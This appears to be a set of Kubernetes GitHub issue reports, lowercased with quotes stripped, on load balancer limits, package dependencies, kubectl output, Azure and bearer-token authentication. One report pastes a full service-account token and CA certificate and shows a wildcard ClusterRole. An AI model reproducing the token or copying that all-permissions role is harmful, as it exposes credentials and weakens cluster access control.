\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  : linux k8s 3.10.0-514.26.1.el7.x86_64  1 smp thu jun 29 16:05:25 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:  rpm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r \r while creating a new service with an external loadbalancer on aws, we are getting the following error for aws:\r \r    \r failed to create load balancer for service test/end2end-lb: error listing aws instances: filterlimitexceeded: the maximum number of filter values specified on a single call is 200 status code: 400, request id:\r    \r or \r    \r external error while updating load balancer: error listing aws instances: filterlimitexceeded: the maximum number of filter values specified on a single call is 200 status code: 400, request id: \r    \r our cluster has more than 200 nodes.\r \r seems like there was a similar issue with filters fixed  here  https://github.com/kubernetes/kubernetes/commit/ffa622f9c78ed2d9256fd9c8eed307e8c9e0687e , but i don't think that the fix covers loadbalancers, as far as i can see in the code.\r \r any help to understand the issue would be appreciated! please let me know if i can provide anything else to help. i tried looking for the logs of the service-controller, but i have not found anything useful to share. \r \r   what you expected to happen  :\r \r be able to create services with an external loadbalances on aws.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   have a 200+ cluster on aws\r   create a new service with an external loadbalancer\r \r   anything else we need to know?  :\r n/a\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t19:06:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-05t16:40:42z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release :  \r \r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r    \r - kernel  e.g.  uname -a  : \r \r    linux ip-10-63-160-205 4.4.65-k8s  1 smp tue may 2 15:48:24 utc 2017 x86_64 gnu/linux   \r \r - install tools: kops\r - others:\r

this issue is to track all the tasks associated with moving out federation related code out of core  kubernetes  repo into its own repo   k8s.io/federation  .\r \r refer to the plan and discussion on moving out federation in this  google doc  https://docs.google.com/document/d/1amwwigmh7gvihqghidqqwrru7-lth1erkgshv7rcaso \r \r /cc @kubernetes/sig-federation-pr-reviews \r /assign @irfanurrehman \r

  \r   what happened  :\r when trying to install kubelet i got the following error:\r  kubelet : depends: kubernetes-cni  = 0.5.1  but 0.6.0-00 is to be installed \r \r   what you expected to happen  :\r the dependency should be resolved by the kubelet package itself, but i get the error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r remove kubernetes-cni from your ubuntu 16 machine and run \ apt install kubelet=1.8.5 \ \r \r   anything else we need to know?  :\r - when i install kubernetes-cni in version 0.5.1 by myself, it works, but usually this should work out of the box.\r -  apt-cache policy kubernetes-cni  only shows \ 0.5.1-00\ \r \r   environment  :\r - kubernetes version: 1.8.5\r - os  e.g. from /etc/os-release : ubuntu 16.04.1 lts  xenial xerus \r - kernel: 4.4.0-31-generic\r - install tools: apt\r

supersedes https://github.com/kubernetes/kubernetes/issues/38768\r \r     updated printers issues\r does not include already-completed items from https://github.com/kubernetes/kubernetes/issues/38768\r or items that are no longer applicable due to recent code refactors.\r \r -     https://github.com/kubernetes/kubernetes/issues/36733 kubectl get node s  should show all node conditions \r -     https://github.com/kubernetes/kubernetes/issues/36304 \ kubectl get events\  or something else should give a sensible timeline of events\r -     https://github.com/kubernetes/kubernetes/issues/34146 kubectl / kubernetes not 100% compatible with yaml 1.2\r -  x    33817 printeventlist is only used for watch-only and not for get event list   although no formal pr opened, the overall concern behind this issue will be addressed with server-side printing / deprecation of hardcoded print handlers  .\r -      30970 kubectl panics when getting sorted replica set\r -      28551 possible bug: kubectl get svc --export omits nodeport   we should be driving people away from using the \ export\  command - a new proposal needs to be drafted that promotes exporting all info about an object with  kubectl get -o yaml   \r -      28190 feature request: kubectl should output age as elapsed time in current state\r -      27212 kubectl get rs should be ordered better and hide 0 replica ones by default\r -      20374 kubectl get cluster\r -  x   15179 kubectl get pods behavior differs based on output mode wrt failed pods   fixed - we no longer filter out failed pods  \r -      11338 kubectl get -w doesn't clearly reflect resource deletions\r -      10311 sort yaml/json fields more helpfully when printing objects\r -      8329 kubectl get services should warn the user if the service has no endpoints\r -      36222 configmap pretty display\r -      30785 kubectl doesn't reflect pod condition\r -      29679 kubectl view commands\r -      29271 kubectl -n should support both -n namespace/yournamespace and -n yournamespace\r -      14905 json output format directive overrides templates\r -      39147 include more info about deployments in get -o wide\r \r     updated describer issues\r \r -      38698 deployment description lacks basic info\r -      38697 replica set sizes are messed in the description of a deployment\r -      37576 how kubectl explain and describe output could be improved for external consumers\r -      32699 gke: kubectl client kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance \r -      30555 need to add more information in pv and pvc description\r -      29876 kubectl pod status: describe does not match get\r -      29651 petset describer should show the pod template, like rc / d / ds\r -      25353 kubectl describe doesn't support json output\r -      25251 stabilize describer outputs\r -      25160 pod status does not reflect 'reason' codes for failures that one sees when doing kubectl describe pod\r -      23380 kubectl describe doesn't show annotations\r -      22702 clarify kubectl get/describe service output\r -      20941 make kubectl describers and resource printers more consistent\r -      10885 kubectl describe pod does not show events for static pods\r -      10674 kubectl describe - undocumented feature: resources are matched by prefix\r -      4471 describers should be able to print objects from somewhere besides the server\r -      3731 need consistent printing for name, namespace, etc\r -      32883 kubectl describe should be resilient to errors in fetching related info\r -      13501 printevent source to much more cleaner\r \r     jsonpath issues\r \r -      37991 kubectl -o jsonpath throws an error if field is not present in json\r -      36391 jsonpath not drilling down into an rs .spec.template.metadata.name\r -      28678 kubectl jsonpath doesn't allow use of true or false keywords\r -      27090 kubectl get -o jsonpath does not handle objects with rawextension\r -      23386 jsonpath fails to return keys containing dots in a map\r -      20352 jsonpath nested condition and multiple conditions are not working\r -      16707 jsonpath template output should be json\r -      15584 jsonpath implementation should support \ $\  for root in filters\r -      14129 unable to use kubectl get with a fieldselector\r -      12771 jsonpath output needs a quote operator to safely generate arguments\r -      15858 cannot format a selector with jsonpath\r \r cc @soltysh @kubernetes/sig-cli-maintainers

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r \r  \r >  \r i was trying to create a loadbalancer service with mix protocols but it failed to create with error  cannot create an external load balancer with mix protocols , what is the reason that we cannot create an external load balancer with mix protocols?\r \r    \r  root@gyliu-icp-1 mc   cat test.yaml\r apiversion: v1\r kind: service\r metadata:\r   name: istio-pilot-ilb-1\r   namespace: istio-system\r   labels:\r     istio: pilot\r spec:\r   type: loadbalancer\r   loadbalancerip: 9.111.255.5\r   ports:\r   - name: https-pilot-1\r     port: 15003\r     protocol: tcp\r   - name: https-pilot-2\r     port: 15005\r     protocol: tcp\r   - name: https-pilot-3\r     port: 15007\r     protocol: tcp\r   - name: https-pilot-4\r     port: 15010\r     protocol: tcp\r   - name: https-pilot-5\r     port: 15011\r     protocol: tcp\r   - port: 8080\r     name: http-pilot-6\r     protocol: tcp\r   - name: https-pilot-7\r     port: 9093\r     protocol: udp\r   selector:\r     istio: pilot\r    \r \r    \r  root@gyliu-icp-1 mc   kubectl apply -f test.yaml\r the service \ istio-pilot-ilb-1\  is invalid: spec.ports: invalid value:   core.serviceport{core.serviceport{name:\ https-pilot-1\ , protocol:\ tcp\ , port:15003, targetport:intstr.intorstring{type:0, intval:15003, strval:\ \ }, nodeport:0}, core.serviceport{name:\ https-pilot-2\ , protocol:\ tcp\ , port:15005, targetport:intstr.intorstring{type:0, intval:15005, strval:\ \ }, nodeport:0}, core.serviceport{name:\ https-pilot-3\ , protocol:\ tcp\ , port:15007, targetport:intstr.intorstring{type:0, intval:15007, strval:\ \ }, nodeport:0}, core.serviceport{name:\ https-pilot-4\ , protocol:\ tcp\ , port:15010, targetport:intstr.intorstring{type:0, intval:15010, strval:\ \ }, nodeport:0}, core.serviceport{name:\ https-pilot-5\ , protocol:\ tcp\ , port:15011, targetport:intstr.intorstring{type:0, intval:15011, strval:\ \ }, nodeport:0}, core.serviceport{name:\ http-pilot-6\ , protocol:\ tcp\ , port:8080, targetport:intstr.intorstring{type:0, intval:8080, strval:\ \ }, nodeport:0}, core.serviceport{name:\ https-pilot-7\ , protocol:\ udp\ , port:9093, targetport:intstr.intorstring{type:0, intval:9093, strval:\ \ }, nodeport:0}}: cannot create an external load balancer with mix protocols\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r kube-controller-manager failed to start with the next error:\r  2018-07-08t14:42:28.82944156z stderr f e0708 14:42:28.829339       1 tokens_controller.go:261  error synchronizing serviceaccount kube-system/cronjob-controller: internal error occurred: rpc error: code = unknown desc = failed to create key, error: storage.accountsclient listkeys: failure responding to request: statuscode=404 -- original error: autorest/azure: service returned an error. status=404 code=\ resourcenotfound\  message=\ the resource 'microsoft.storage/storageaccounts/my-akv' under resource group 'my-rg' was not found.\  \r   what you expected to happen  :\r kube-controller-manager starts fine\r   how to reproduce it  as minimally and precisely as possible   :\r run kubernetes with azure key vault\r \r   anything else we need to know?  :\r it worked fine, but i've recreated an environment and it stopped. now it is trying to get a storage account with the name of the azurekeyvault instead of the key-vault service.\r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.0\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r <!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i try to use the bearer token visit kubernet /healthz interface through script:\r    \r  !/bin/bash\r \r token=$ echo $1|base64 -d \r echo $token\r curl -xget -h \ authorization:bearer $token\  -k https://127.0.0.1:26543/healthz\r    \r it return the response:\r    \r ➜  clusters bash checkhealthz.sh zxlkagjhy2lpauptvxpjmu5psxnjbxrwwknjnklpsjkuzxlkcgmztwlpaupyzfdkbgntnwxkr1z6tdnobgnuwnbzmlzowtjodmrxntbjaxdpytnwavpysnvawfjsy3k1cgj5oxpaweoyyvdobflxtmpim1z1zem5dvlxmwxjm0jowtjvau9psm1av1jsy21gmgfxoxvmwe41yznsbgjtsxnjbxqxww1wewjtvjbawe11yvc4dmmyvnlkbwxqwldgalkyotfiblf2yzjwamntvjbmbtvoyldvau9psjzimjvstfhkbfoybhziatewyjj0bgjpmdrpvgxyy3ljc0ltddfzbvz5ym1wmfpytxvhvzh2yzjwewrtbgpav0zqwti5mwjuuxzjmlz5zg1salptmwhzmk52zfc1mextnwhiv1vpt2lknmiynwxmwepswjjsdmjpsxnjbxqxww1wewjtvjbawe11yvc4dmmyvnlkbwxqwldgalkyotfiblf2yzjwewrtbgpauzfowtjodmrxntbmblzwwknjnklqwtnnv05qtwpnd0xxwmxpvef0tvrgbe9dmwhaakewtfdwalpqumlzamn5tkrnmll5sxnjbk4xwwljnklutjvjm1jsylrwelpysjjhv05swvdoamizvnvkrhbtwldsbgntrjbhvzl1tfhonwmzumxivha2yji1bexysmxammx2ymlkos5quuteq0fkvm5xzgnuwmjtuufxafjrzi1othrqbvltz09jruq3t2nkce9bcve5dmvmb2jzvzrot3nuugpldkjazmvvy2hccgrqmmyydzhma3nfrfn5a0gwc0fuz0hoy29qtvpcutfizxv6nlbqutmyekftsjjfwutzmk9yajfxngt1shrrqmw0tg9oew13utjpztravfl5rs1ozth1edbtlvddvzlpcetjv09ungric0dlcuz2u1ezt0e5c3hvs0x6cle3u3njdvzirup1ve9ruehwt0rjbglfnxb4n3hznu14enlzm0vqlw8xvtbsulhiajdcotcttddmamj4u2dwv2hhndzmzem4n3him003nnc5nwr0au54ngf2sezkx2tgrlvnnkflcfd2uufvtnvodwt0vjzyelrbtdryexphchf1x1z5dwxaa01qq214ywpkt2zjy0e=\r eyjhbgcioijsuzi1niisimtpzci6iij9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijmzwrlcmf0aw9ulxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioij6b25llxjlz2lvbi10b2tlbi04otlrcyisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vydmljzs1hy2nvdw50lm5hbwuioij6b25llxjlz2lvbiisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vydmljzs1hy2nvdw50lnvpzci6ijy3mwnjmjgwlwzlotatmtfloc1hzja0lwvjzjriyjcyndg2yyisinn1yii6inn5c3rlbtpzzxj2awnlywnjb3vuddpmzwrlcmf0aw9ulxn5c3rlbtp6b25llxjlz2lvbij9.jqkdcajvnwdctzbsqaqhrqf-nltjmysgoced7ocjpoaqq9velobyw4nosnpjkvbzfeochbpdj2f2w8fks_dsykh0sanghncopmzbq1heuz6ppq32zamj2eyky2orj1w4kuhtqbl4lohymwq2oe4ztyye-he8ux0m-wcw9opkiwot4dhsgkqfvsq3oa9sxoklzrq7ssiuvhejutoqphpodili_5px7xs5mxzys3ep-o1u0lrxhj7b97-l7ljbxsgpwha46fdc87xb3m76w95dtinx4avhfd_kffum6aepwvqaonunuktv6xztal4xyzgpqu_vyulzkmjcmxajjofcca\r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ unauthorized\ ,\r   \ reason\ : \ unauthorized\ ,\r   \ code\ : 401\r }% \r    \r i think it has sufficient permission, but it still response 401\r and the apiserver's log display this:\r    \r e1213 17:12:57.008765    2943 authentication.go:65  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, square/go-jose: error in cryptographic primitive  \r    \r i try to delete the token and use regenerate  one like   22351  https://github.com/kubernetes/kubernetes/issues/22351  still not work. \r   what you expected to happen  :\r it should return ok.\r   how to reproduce it  as minimally and precisely as possible   :\r try to apply the yaml file i supply blow.\r    \r apiversion: v1\r kind: serviceaccount\r metadata:\r   name: zone-region\r   namespace: federation-system\r --\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrole\r metadata:\r   name: federation-controller-manager:common-zone-region\r rules:\r - nonresourceurls:\r   - /healthz\r   verbs:\r   - get\r - apigroups:\r   - \ \ \r   resources:\r   - nodes\r   verbs:\r   - list\r --\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrole\r metadata:\r   name: federation-controller-manager:zone-region\r rules:\r - apigroups:\r   - ' '\r   resources:\r   - ' '\r   verbs:\r   - ' '\r --\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrolebinding\r metadata:\r   name: federation-controller-manager:zone-region\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: federation-controller-manager:zone-region\r subjects:\r - kind: serviceaccount\r   name: zone-region\r   namespace: federation-system\r --\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrolebinding\r metadata:\r   name: federation-controller-manager:common-zone-region\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: federation-controller-manager:common-zone-region\r subjects:\r - kind: serviceaccount\r   name: zone-region\r   namespace: federation-system\r \r    \r \r \r \r   anything else we need to know?  :\r here is the detail resources.\r \r clusterrolebindding: federation-system federation-controller-manager:common-zone-region\r    \r ➜  clusters ./kubectl get clusterrolebindings.rbac.authorization.k8s.io --namespace federation-system federation-controller-manager:common-zone-region --context zone  -o yaml\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrolebinding\r metadata:\r   creationtimestamp: 2018-12-13t04:34:39z\r   name: federation-controller-manager:common-zone-region\r   resourceversion: \ 432426\ \r   selflink: /apis/rbac.authorization.k8s.io/v1/clusterrolebindings/federation-controller-manager%3acommon-zone-region\r   uid: 672f6904-fe90-11e8-af04-ecf4bb72486c\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: federation-controller-manager:common-zone-region\r subjects:\r - kind: serviceaccount\r   name: zone-region\r   namespace: federation-system\r    \r clusterrolebindding: federation-system federation-controller-manager:zone-region\r    \r ➜  clusters ./kubectl get clusterrolebindings.rbac.authorization.k8s.io --namespace federation-system federation-controller-manager:zone-region --context zone  -o yaml \r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrolebinding\r metadata:\r   creationtimestamp: 2018-12-13t04:34:39z\r   name: federation-controller-manager:zone-region\r   resourceversion: \ 432424\ \r   selflink: /apis/rbac.authorization.k8s.io/v1/clusterrolebindings/federation-controller-manager%3azone-region\r   uid: 6727f285-fe90-11e8-af04-ecf4bb72486c\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: federation-controller-manager:zone-region\r subjects:\r - kind: serviceaccount\r   name: zone-region\r   namespace: federation-system\r    \r clusterrole: federation-system federation-controller-manager:zone-region\r    \r ➜  clusters ./kubectl get clusterroles --namespace federation-system federation-controller-manager:zone-region --context zone  -o yaml\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrole\r metadata:\r   creationtimestamp: 2018-12-13t04:34:39z\r   name: federation-controller-manager:zone-region\r   resourceversion: \ 432423\ \r   selflink: /apis/rbac.authorization.k8s.io/v1/clusterroles/federation-controller-manager%3azone-region\r   uid: 67247794-fe90-11e8-af04-ecf4bb72486c\r rules:\r - apigroups:\r   - ' '\r   resources:\r   - ' '\r   verbs:\r   - ' '\r    \r clusterrole: federation-system federation-controller-manager:common-zone-region\r    \r ➜  clusters ./kubectl get clusterroles --namespace federation-system federation-controller-manager:common-zone-region --context zone  -o yaml\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrole\r metadata:\r   creationtimestamp: 2018-12-13t04:34:39z\r   name: federation-controller-manager:common-zone-region\r   resourceversion: \ 432425\ \r   selflink: /apis/rbac.authorization.k8s.io/v1/clusterroles/federation-controller-manager%3acommon-zone-region\r   uid: 672a7252-fe90-11e8-af04-ecf4bb72486c\r rules:\r - nonresourceurls:\r   - /healthz\r   verbs:\r   - get\r - apigroups:\r   - \ \ \r   resources:\r   - nodes\r   verbs:\r   - list\r    \r serviceaccount: zone-region\r    \r ➜  clusters ./kubectl get serviceaccounts --namespace federation-system -o yaml zone-region --context zone\r apiversion: v1\r kind: serviceaccount\r metadata:\r   creationtimestamp: 2018-12-13t04:34:39z\r   name: zone-region\r   namespace: federation-system\r   resourceversion: \ 432430\ \r   selflink: /api/v1/namespaces/federation-system/serviceaccounts/zone-region\r   uid: 671cc280-fe90-11e8-af04-ecf4bb72486c\r secrets:\r - name: zone-region-token-899ks\r    \r secrets: zone-region-token-899ks\r    \r ➜  clusters ./kubectl get secrets --namespace federation-system -o yaml zone-region-token-899ks --context zone\r apiversion: v1\r data:\r   ca.crt: ls0tls1crudjtibdrvjusuzjq0furs0tls0tck1jsumrakndqwvlz0f3sujbz0lkqva3akftvhe3oe8ztuewr0ntcudtswizrfffqkn3vufnqkl4rurbt0jntlykqkfntuiyddfzbvv0wtjfd0hoy05nvgd4twpfee1uqxdoele0v2hjtk5ewxdorek0tvrbd056utrxakfttvjbdwpez1levlfrrerbzhjkv0pstfdoae1jsujjakfoqmdrcwhrauc5dzbcqvffrkfbt0nbuthbtuljqknns0nbuuvbcnhzulf1ns80temvzvzhn0rbd3rvafnsc0cvwnpwzjvzdxd0wmjsbdvzcegyrtnpovmwtjhwwvdobetrnkq3uegkevpicmfvmgixu2exc0jnnhpadnrovnzvego3zmd1decvm2f2outlaw5ul0fmvey4b3nvczhmshfxbulta1c4ygpnd0o3muftvkroeg9tvkdjn1izbezsukdbcxo3mmluk01ydetfqk9ocjdquw1xehdeu2dnztk1m2nyqws0nhbwclkrdzz5eefzqnnede81chrez2fjyu5cvglkdgnyr203nwpvk1lda1ptus8vc1ncbnl1tzhlclfxethzz0vzt0okz1hudfvla1bir2pmsw9ly0c3eeyvwwe0l05itit3emw5beztztqyulltqtavcffqve80b0m4cfjxk3hzynlkawp5t2qxwxkvwxlqr29jqmjvqln4bkh3surbuufcbzfnd1vuqwrcz05wsfe0ruznuvvpwjbmaurxz01msm1zdjvdcnd3odk0sddmdtewd0h3wurwujbqqkjnd0zvqvvpwjbmaurxz01msm1zdjvdd3c4otrin2z1mtb3rhdzrfzsmfqkqvfil0jbvxdbd0vcl3pbtkjna3foa2lhoxcwqkfrc0zbqu9dqvffqu9amw9qugtabwqyeittug9js1vhddlxdgppcdhpaezozenvnuh5blrvwkxarutzaly2mefwwlltn2zzbepodxvxdvp2b09jy1qyrgu1s29ncmxxcwvvs2p0cnr2stntn0zbyjzyeldkanndamhvnkerstvocm9raeliq0rnoevxtwxbvlo4q1ncwvztee9suko1s1qxvuw3zvoka0xocm4zmef6shnjne9wt041u3nqm09rzexttfuwumhwn0lsdjkvmknzefjhynlhcvdbtxpkamndv2s2l2m5sqpvtg5wsuhuug1junhmee1jauq2btr3axzvt3r2nkhbanczns9vdffsmnphvkxirlf2n0lydnfvrfhadjf1whzxcjj2cg0xauxyow5rsjdovxurs0q5rwzvtnbauxvyszzcshrpdgs1snvmv25hvunbqzhvrhzrq0g4bmrynxnbpt0kls0tls1ftkqgq0vsvelgsunbveutls0tlqo=\r   namespace: zmvkzxjhdglvbi1zexn0zw0=\r   token: zxlkagjhy2lpauptvxpjmu5psxnjbxrwwknjnklpsjkuzxlkcgmztwlpaupyzfdkbgntnwxkr1z6tdnobgnuwnbzmlzowtjodmrxntbjaxdpytnwavpysnvawfjsy3k1cgj5oxpaweoyyvdobflxtmpim1z1zem5dvlxmwxjm0jowtjvau9psm1av1jsy21gmgfxoxvmwe41yznsbgjtsxnjbxqxww1wewjtvjbawe11yvc4dmmyvnlkbwxqwldgalkyotfiblf2yzjwamntvjbmbtvoyldvau9psjzimjvstfhkbfoybhziatewyjj0bgjpmdrpvgxyy3ljc0ltddfzbvz5ym1wmfpytxvhvzh2yzjwewrtbgpav0zqwti5mwjuuxzjmlz5zg1salptmwhzmk52zfc1mextnwhiv1vpt2lknmiynwxmwepswjjsdmjpsxnjbxqxww1wewjtvjbawe11yvc4dmmyvnlkbwxqwldgalkyotfiblf2yzjwewrtbgpauzfowtjodmrxntbmblzwwknjnklqwtnnv05qtwpnd0xxwmxpvef0tvrgbe9dmwhaakewtfdwalpqumlzamn5tkrnmll5sxnjbk4xwwljnklutjvjm1jsylrwelpysjjhv05swvdoamizvnvkrhbtwldsbgntrjbhvzl1tfhonwmzumxivha2yji1bexysmxammx2ymlkos5quuteq0fkvm5xzgnuwmjtuufxafjrzi1othrqbvltz09jruq3t2nkce9bcve5dmvmb2jzvzrot3nuugpldkjazmvvy2hccgrqmmyydzhma3nfrfn5a0gwc0fuz0hoy29qtvpcutfizxv6nlbqutmyekftsjjfwutzmk9yajfxngt1shrrqmw0tg9oew13utjpztravfl5rs1ozth1edbtlvddvzlpcetjv09ungric0dlcuz2u1ezt0e5c3hvs0x6cle3u3njdvzirup1ve9ruehwt0rjbglfnxb4n3hznu14enlzm0vqlw8xvtbsulhiajdcotcttddmamj4u2dwv2hhndzmzem4n3him003nnc5nwr0au54ngf2sezkx2tgrlvnnkflcfd2uufvtnvodwt0vjzyelrbtdryexphchf1x1z5dwxaa01qq214ywpkt2zjy0e=\r kind: secret\r metadata:\r   annotations:\r     kubernetes.io/service-account.name: zone-region\r     kubernetes.io/service-account.uid: 671cc280-fe90-11e8-af04-ecf4bb72486c\r   creationtimestamp: 2018-12-13t04:34:39z\r   name: zone-region-token-899ks\r   namespace: federation-system\r   resourceversion: \ 432427\ \r   selflink: /api/v1/namespaces/federation-system/secrets/zone-region-token-899ks\r   uid: 672f70a3-fe90-11e8-af04-ecf4bb72486c\r type: kubernetes.io/service-account-token\r    \r kube-apserver args\r    \r /home/larry/project/clusters/zone/kubernets/kube-apiserver \\\r --service-cluster-ip-range=10.3.0.0/16 \\\r --etcd-certfile=/home/larry/project/clusters/zone/cert/admin/admin.pem \\\r --etcd-keyfile=/home/larry/project/clusters/zone/cert/admin/admin-key.pem \\\r --etcd-cafile=/home/larry/project/clusters/zone/cert/ca/ca.pem \\\r --etcd-servers=https://127.0.0.1:22479,https://127.0.0.1:22477,https://127.0.0.1:22475 \\\r --tls-cert-file=/home/larry/project/clusters/zone/cert/apiserver/apiserver.pem \\\r --tls-private-key-file=/home/larry/project/clusters/zone/cert/apiserver/apiserver-key.pem \\\r --client-ca-file=/home/larry/project/clusters/zone/cert/ca/ca.pem \\\r --token-auth-file=/home/larry/project/clusters/zone/etc/token.csv \\\r --log-dir=/home/larry/project/clusters/zone/log \\\r --bind-address=0.0.0.0 \\\r --enable-bootstrap-token-auth \\\r --authorization-mode=rbac,node \\\r --anonymous-auth=true \\\r --enable-admission-plugins=namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,resourcequota,noderestriction \\\r --secure-port=26543 \\\r --insecure-port=28180\r \r    \r kube-controller-manager args\r    \r /home/larry/project/clusters/zone/kubernets/kube-controller-manager \\\r --root-ca-file=/home/larry/project/clusters/zone/cert/ca/ca.pem \\\r --cluster-signing-cert-file=/home/larry/project/clusters/zone/cert/ca/ca.pem \\\r --cluster-signing-key-file=/home/larry/project/clusters/zone/cert/ca/ca-key.pem \\\r --service-account-private-key-file=/home/larry/project/clusters/zone/cert/ca/ca-key.pem \\\r --kubeconfig=/home/larry/project/clusters/zone/etc/kubeconfig \\\r -v 0 \\\r --secure-port=30252 \\\r --port=30257 \\\r --cert-dir=/home/larry/project/clusters/zone/log\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.0\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : archlinux\r - kernel  e.g.  uname -a  : linux notepad 4.19.4-arch1-1-arch  1 smp preempt fri nov 23 09:06:58 utc 2018 x86_64 gnu/linux\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

inline csi volumes that are embedded in pod specs still trigger all volume operation stages  attach, device mount, mount .  similar to plugin.canattach, a new plugin-wide method should be able to turn device mount off when the source is ephemeral volume.\r \r   references  \r see volume mount operation : https://github.com/kubernetes/kubernetes/blob/897d62ace79a8fa72f9825e065b2b67fdba65bec/pkg/volume/util/operationexecutor/operation_generator.go l516\r \r this issue will use code from https://github.com/kubernetes/kubernetes/issues/75830

a service that is represented by a real internet service is best resolved via dns from internal name to external cname.  this feels like a new service type, but the use case would be:  i have an external service \ oracle\  with dns name \ oracle-1.testdev.mycompany.com\ .  i don't want to have to keep dns in sync.  i don't want to create a different signing cert.  i just want \ oracle.mynamespace.svc.cluster.local\  to cname resolve to \ oracle-1.testdev.mycompany.com\ .  i _might_ want to resolve dns periodically to the endpoints so i can load balance... but it's not a requirement.

we currently have all of the test images in  test/images  uploaded to the  gcr.io/google_containers  project. we should move these into a separate project and limit the scope of  gcr.io/google_containers  only to official kubernetes images.  for example, the  nfs volume example  http://kubernetes.io/v1.1/examples/nfs/readme.html  uses  gcr.io/google_containers/volume-nfs , which doesn't really indicate that this image was only designed for functional testing.  see  22561 and http://stackoverflow.com/questions/35815736/kubernetes-nfs-server-is-taking-100-cpu for examples of actual usage of this image outside e2e tests.   i'm not sure how we'd deprecate these images given that e2e tests and external users depend on them. hopefully over time everything would just migrate to the new images?  thoughts? @kubernetes/sig-testing @david-mcmahon

gci test flake:  kubernetes-e2e-gci-gce-serial-release-1.4    k8s.io  daemonrestart  disruptive  kubelet should not restart containers across restart   88% pass rate on gci, 96.8% on cvm, kinda flaky on gci by comparison. might be gci tests haven't had time for %tage to converge with cvm yet?  https://k8s-testgrid.appspot.com/release-1.4-all gci-serial-release-1.4&include-filter-by-regex=daemonrestart&include-filter-by-regex=kubelet  vs  https://k8s-testgrid.appspot.com/google-gce gce-serial-release-1.4&include-filter-by-regex=daemonrestart&include-filter-by-regex=kubelet

